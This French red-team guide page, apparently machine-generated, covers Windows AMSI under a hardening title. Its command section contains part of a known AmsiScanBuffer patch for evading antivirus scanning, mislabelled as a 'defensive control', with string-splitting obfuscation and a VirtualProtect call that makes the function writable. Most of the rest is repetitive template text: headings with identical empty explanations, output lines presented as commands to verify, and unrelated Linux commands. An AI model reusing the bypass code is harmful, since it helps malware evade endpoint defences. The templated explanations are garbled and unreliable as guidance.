Guide Red TeamTests d’intrusion autorisés · Red Team · Purple Team
Domaines
Payload Development et validation EDR · guide pratique V13

AMSI — architecture, validation et durcissement

Synthèse française et contrôlée du corpus « Windows - AMSI Bypass ». Ce chapitre explique amsi — architecture, validation et durcissement dans le domaine « Payload Development et validation EDR », avec une méthode de laboratoire, des commandes à faible impact, les traces attendues et un plan de correction vérifiable.

En bref

  • But : Synthèse française et contrôlée du corpus « Windows - AMSI Bypass ». Ce chapitre explique amsi — architecture, validation et durcissement dans le domaine « Payload Development et validation EDR », avec une méthode de laboratoire, des commandes à faible impact, les traces attendues et un plan de correction vérifiable.
  • Preuve attendue : une preuve exploitable, une conclusion prudente et un retest documenté
  • Limite : le résultat est valable uniquement pour les versions, rôles, chemins et conditions effectivement testés.
Schéma synthétique : AMSI — architecture, validation et durcissement
Vue synthétique de « AMSI — architecture, validation et durcissement » : les étapes affichées correspondent aux sections pratiques de cette page.

Vue d’ensemble

Dans « AMSI — architecture, validation et durcissement », la section « Vue d’ensemble » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

List AMSI Providers

Dans « AMSI — architecture, validation et durcissement », la section « List AMSI Providers » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

Which Endpoint Protection is Using AMSI

Dans « AMSI — architecture, validation et durcissement », la section « Which Endpoint Protection is Using AMSI » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

Patching amsi.dll AmsiScanBuffer by rasta-mouse

Dans « AMSI — architecture, validation et durcissement », la section « Patching amsi.dll AmsiScanBuffer by rasta-mouse » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

Dont use net webclient

Dans « AMSI — architecture, validation et durcissement », la section « Dont use net webclient » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

The Short version of dont use powershell net webclient

Dans « AMSI — architecture, validation et durcissement », la section « The Short version of dont use powershell net webclient » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

Amsi ScanBuffer Patch

Dans « AMSI — architecture, validation et durcissement », la section « Amsi ScanBuffer Patch » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

Commandes et exemples

Les exemples ci-dessous proviennent des éléments utiles de « AMSI — architecture, validation et durcissement ». Adaptez uniquement les valeurs du laboratoire et conservez la commande exacte avec sa sortie.

Exemples de laboratoire

# Contrôle défensif en laboratoire — référence ac2dcfa1
# Exemple de laboratoire — AMSI — architecture, validation et durcissement
Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}'
    Name                           Property
    ----                           --------
    Hosts                          (default) : Scanned Hosting Applications
    InprocServer32                 (default) : "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.4-0\MpOav.dll"
# Contrôle défensif en laboratoire — référence 88fe5b80
# Exemple de laboratoire — AMSI — architecture, validation et durcissement
$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
# Contrôle défensif en laboratoire — référence 37e0946e
# AMSI — architecture, validation et durcissement
Get-MpComputerStatus | Select-Object AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4103,4104;StartTime=(Get-Date).AddHours(-1)}
# Contrôle défensif en laboratoire — référence 4b8a1db6
# AMSI — architecture, validation et durcissement
journalctl --since '1 hour ago' --no-pager
auditctl -s
ss -tulpen

Lire les résultats

Pour « AMSI — architecture, validation et durcissement », confirmez les flux, les certificats, la journalisation et la portée du listener. L’exercice doit rester observable par l’équipe défensive et réversible à tout moment.

Comprendre le sujet avant d’agir

Le chapitre « AMSI — architecture, validation et durcissement » appartient au domaine « Payload Development et validation EDR ». Il doit permettre de comprendre le mécanisme avant d’utiliser un outil, puis de produire une preuve lisible par une autre personne. L’objectif n’est pas d’accumuler des commandes : chaque action doit répondre à une hypothèse, rester dans le périmètre et déboucher sur une conclusion vérifiable.

Dans ce contexte, l’attention porte surtout sur les hypothèses, entrées, actions, sorties et limites propres au sujet. Une approche professionnelle commence par noter l’état initial, la version des composants et l’identité utilisée. Elle se termine par la conservation des sorties utiles, l’explication des limites et la vérification que le laboratoire a été remis dans son état prévu.

  • Point de contrôle — contexte initial.
  • Point de contrôle — action réalisée.
  • Point de contrôle — résultat brut.
  • Point de contrôle — confirmation indépendante.
  • Point de contrôle — conclusion et limite.

Méthode de travail détaillée

La méthode suivante transforme « AMSI — architecture, validation et durcissement » en exercice reproductible. Elle évite de confondre la quantité de sorties avec la qualité de la preuve et permet d’arrêter le test dès que l’objectif est démontré.

  1. Définir en une phrase ce que l’exercice « AMSI — architecture, validation et durcissement » doit confirmer ou infirmer.
  2. Relever l’état initial du laboratoire et les versions utiles au domaine « Payload Development et validation EDR ».
  3. Choisir l’action la moins intrusive capable de répondre à la question.
  4. Exécuter une seule variation à la fois et conserver la sortie brute avec un horodatage UTC.
  5. Confirmer le résultat par une seconde observation ou une vérification manuelle.
  6. Documenter l’impact, les limites, la correction proposée et le critère de retest.

Exemple guidé dans le laboratoire

Préparez un scénario réduit dans `lab.local` qui ne contient que les composants nécessaires à « AMSI — architecture, validation et durcissement ». Notez l’état initial, appliquez la méthode du chapitre et sauvegardez chaque sortie sous un nom horodaté.

Le cas est réussi lorsque la conclusion peut être relue et reproduite sans connaissance implicite. Les captures servent d’illustration, mais la preuve principale reste la sortie brute accompagnée de son contexte.

  • Préparation — confirmer les actifs et comptes autorisés pour « AMSI — architecture, validation et durcissement ».
  • Exécution — limiter l’action à une seule hypothèse et une seule variation.
  • Validation — reproduire le résultat et conserver la sortie brute.
  • Clôture — nettoyer les artefacts, documenter les limites et définir le retest.

Lecture des commandes et options

Les commandes déjà présentes dans « AMSI — architecture, validation et durcissement » doivent être lues comme des exemples de laboratoire. Les lignes suivantes expliquent leur rôle afin d’éviter une exécution aveugle.

  • `Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}'` — cette ligne participe à l’exercice « AMSI — architecture, validation et durcissement » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `Name Property` — cette ligne participe à l’exercice « AMSI — architecture, validation et durcissement » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `---- --------` — cette ligne participe à l’exercice « AMSI — architecture, validation et durcissement » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `Hosts (default) : Scanned Hosting Applications` — cette ligne participe à l’exercice « AMSI — architecture, validation et durcissement » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `InprocServer32 (default) : "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.4-0\MpOav.dll"` — cette ligne participe à l’exercice « AMSI — architecture, validation et durcissement » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `using System;` — cette ligne participe à l’exercice « AMSI — architecture, validation et durcissement » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `using System.Runtime.InteropServices;` — cette ligne participe à l’exercice « AMSI — architecture, validation et durcissement » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `public class Win32 {` — cette ligne participe à l’exercice « AMSI — architecture, validation et durcissement » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.

Interprétation et qualité de la preuve

Pour « AMSI — architecture, validation et durcissement », un résultat utile relie au minimum le contexte, l’action et l’observation. Une sortie d’outil isolée reste une indication : elle devient une preuve lorsque le périmètre, la version, les paramètres et la reproduction sont documentés.

La conclusion doit préciser ce qui est confirmé, ce qui reste probable et ce qui n’a pas été testé. Dans le profil « general », les éléments à rapprocher sont notamment : contexte initial, action réalisée, résultat brut. Les autres éléments servent à expliquer la portée et à préparer le retest.

  • Élément à documenter — contexte initial.
  • Élément à documenter — action réalisée.
  • Élément à documenter — résultat brut.
  • Élément à documenter — confirmation indépendante.
  • Élément à documenter — conclusion et limite.

Erreurs fréquentes et amélioration de la qualité

Les erreurs ci-dessous sont particulièrement importantes pour « AMSI — architecture, validation et durcissement ». Elles produisent des faux positifs, des conclusions impossibles à reproduire ou un risque inutile pour le laboratoire.

  • À éviter — agir sans objectif mesurable.
  • À éviter — collecter trop de données.
  • À éviter — ne pas conserver la sortie brute.
  • À éviter — conclure sur un seul indicateur.
  • À éviter — omettre le nettoyage et le retest.

Checklist avant de clôturer le chapitre

Cette checklist résume les contrôles attendus pour considérer « AMSI — architecture, validation et durcissement » comme terminé de manière professionnelle.

  • L’objectif et le périmètre de « AMSI — architecture, validation et durcissement » sont écrits.
  • La version des outils et composants est enregistrée.
  • La commande, le filtre ou la procédure exacte est conservé.
  • La sortie brute est horodatée et accompagnée de son contexte.
  • Le résultat a été confirmé par une seconde observation.
  • Les limites et les éléments non testés sont explicites.
  • Les artefacts créés ont été supprimés ou remis dans l’état convenu.
  • La recommandation et le critère de retest sont exploitables.

Références

À retenir

Pour maîtriser « AMSI — architecture, validation et durcissement », retenez trois idées : comprendre les hypothèses, entrées, actions, sorties et limites propres au sujet, exécuter une méthode limitée et reproductible, puis transformer la sortie en preuve contextualisée. Le chapitre est terminé lorsque le résultat peut être confirmé, que ses limites sont explicites et que la correction peut être retestée sans réinterpréter toute la mission.

  • Savoir expliquer le mécanisme propre à « AMSI — architecture, validation et durcissement » sans réciter une commande.
  • Conserver au minimum contexte initial, action réalisée et résultat brut.
  • Éviter en priorité de agir sans objectif mesurable et de collecter trop de données.
  • Proposer une action corrective mesurable et un retest réalisable.